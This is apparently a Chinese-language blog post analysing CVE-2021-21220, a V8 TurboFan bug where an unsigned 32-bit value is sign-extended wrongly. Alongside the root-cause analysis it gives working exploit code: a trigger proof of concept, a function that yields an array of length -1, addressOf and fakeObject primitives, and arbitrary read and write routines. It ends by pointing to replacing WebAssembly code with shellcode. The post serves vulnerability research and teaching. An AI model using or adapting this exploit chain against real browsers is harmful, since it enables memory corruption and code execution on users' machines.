v8漏洞任意地址读写(CVE-2021-21220)

V8版本: 9.2.0
commit: 1e4b1c521a491c7487028b7f2aec550c1b36606b
漏洞文件:instruction-selector-x64.cc
漏洞函数:InstructionSelector::VisitChangeInt32ToInt64
补丁信息: https://chromium-review.googlesource.com/c/v8/v8/+/2820971/3/src/compiler/backend/x64/instruction-selector-x64.cc#1381
v8漏洞任意地址读写(CVE-2021-21220)_第1张图片

简介

这个漏洞的主要原因应该是在JIT优化时由两个点造成的:

  1. 在JavaScript中,按位运算符将其操作数转换为二进制补码格式的 32 位有符号整数, 无符号操作数与0异或变成了有符号的数,:
    arr[0]是unsigned int32 = 231 = 2147483648 = 0x8000 0000
    arr[0] ^ 0会转成signed int32 = 2
    31^0 = 0x8000 0000 = -2147483648
    这个问题是由当时协议规定的(现在协议更加详细):
    v8漏洞任意地址读写(CVE-2021-21220)_第2张图片
  2. 函数ChangeInt32ToInt64将32位整形数向64位进行拓展,代码为判断传入的32位整型数是否为有符号从而选择movsx和mov.
    这个点联合起来就可能构造一个超长数组, 长度为-1(0xffffffff),导致越界访问读写操作, 从而导致任意代码执行.
    验证漏洞的POC如下:
print = console.log;
const arr = new Uint32Array([2**31]);       // 定义了一个只有一个元素的Uint32类型的数组
function foo() {
    return (arr[0] ^ 0) + 1;                // 漏洞触发
}                                       
print(foo());//-2147483647                  // 解释器工作
for(let i=0;i<100000;i++)                    // 代码价值提升,交由JIT处理
    foo();
print(foo());//2147483649                   //JIT处理后的结果

通过poc可以看到, JIT优化前后的输出结果不一样.

执行流分析

在优化前的SimplifiedLowering阶段, 函数处理是没有问题的, 通过#45 LoadTypedElement可以知道arr[0]的类型 Unsigned32,然后通过#31 Word32Xor处理之后类型为Signed32,然后需要做int32到int64的转换,调用了#58 ChangeInt32ToInt64,并将返回值与#59 Int64Constant[1]作为参数交由#50 ChangeInt32ToInt64处理:
v8漏洞任意地址读写(CVE-2021-21220)_第3张图片
但是在MachineOperatorOptimization阶段, 将arr[0] ^ 0通过JIT在#81 Load处获取运算所得的结果,此时该结果的类型为kRepWord32[kTypeUint32],为无符号,此时仍然经过#58 ChangeInt32ToInt64进行处理:
v8漏洞任意地址读写(CVE-2021-21220)_第4张图片

EXP的关键点

JavaScript函数的前几次调用期间,解释器会记录各种操作的类型信息, 比如参数访问和属性加载; 如果以后选择该函数进行JIT编译,则V8的编译器TurboFan会假定在所有后续调用中都将使用观察到的类型,并使用从解释器中得出的规则集将类型信息传播到JIT, 所以我们可以通过上面的漏洞这样构造数组:

function foo(a) {
    var x = 1;
    x = (_arr[0] ^ 0) + 1;
    x = Math.abs(x);
    x -= 2147483647;       
    x = Math.max(x, 0);         // predicted = 0; actual = 2
    x -= 1;                    // predicted = -1; actual = 1
    if(x==-1) x = 0;            // predicted = 0; actual = 1           
    var arr = new Array(x);     // predicted = 0; actual = 1
    arr.shift();                // predicted = 0; actual = -1
    var cor = [1.1, 1.2, 1.3];
    return [arr, cor];
}
var x = foo(false);
 
for(var i=0;i<0x30000;++i){
    foo(true);
}

var x = foo(false);
print(x[0].length);         // -1

在foo函数中, 开始的时候解释器在处理shift的时候判断x的值为0,正常执行,所以在JIT阶段优化掉了边界检查;而在JIT阶段因为漏洞的原因x==1,但是此时JIT仍将x的值当作0,由于x实际为1,所以shift会对数组长度做减一操作,再由于此时JIT将x的值当作0,所以最终数组的长度为0-1 == -1,这样就可以构造出了超长的数组, 可以进行越界的读写操作了:
v8漏洞任意地址读写(CVE-2021-21220)_第5张图片
有了越界读写的能力之后,我们就就是常规的进行类型混淆,构造自己的fake object,然后得到任意地址读写的能力;

addressOf and fakeObject

var arr = x[0];
var cor = x[1];
const idx = 6;
 
arr[idx+10] = 0x2333;                          
function addressOf(k) {
    arr[idx+1] = k;
    return f2big(cor[0]) & 0xffffffffn;        
 
}function fakeObject(k) {
    cor[0] = big2f(k);
    return arr[idx+1];         //返回的也只是低四字节
}
var test = [1.1,2.2,3.3];
test_addr = addressOf(test);
console.log(test_addr);
// %DebugPrint(arr);   
// %DebugPrint(cor);                 
// %SystemBreak();

这里需要注意的是,由于有指针压缩,所以我们只能得到4个字节的地址信息, 这里的arr其实是包含了cor的了:
v8漏洞任意地址读写(CVE-2021-21220)_第6张图片
v8漏洞任意地址读写(CVE-2021-21220)_第7张图片

任意读写原语实现

var float_array_map = f2big(cor[3]);             
var arr2 = [big2f(float_array_map), 1.2, 2.3, 3.4];         //创建伪造对象的数组
var fake = fakeObject(addressOf(arr2) + 0x20n);             //通过fakeObject伪造对象
function arbread(addr) {
    if (addr % 2n == 0)
        addr += 1n;
    arr2[1] = big2f((2n << 32n) + addr - 8n);               //由于指针压缩,需要这样写地址
    return (fake[0]);                                      
}function arbwrite(addr, val) {
    if (addr % 2n == 0)
        addr += 1n;
    arr2[1] = big2f((2n << 32n) + addr - 8n);
    fake[0] = big2f(BigInt(val));                          
}

因为对象操作的指针,所以我们可以任意地址读写了, 然后就是常规的wasm利用了, 将shellcode替换wasm_code…

你可能感兴趣的:(V8,javascript,安全,汇编)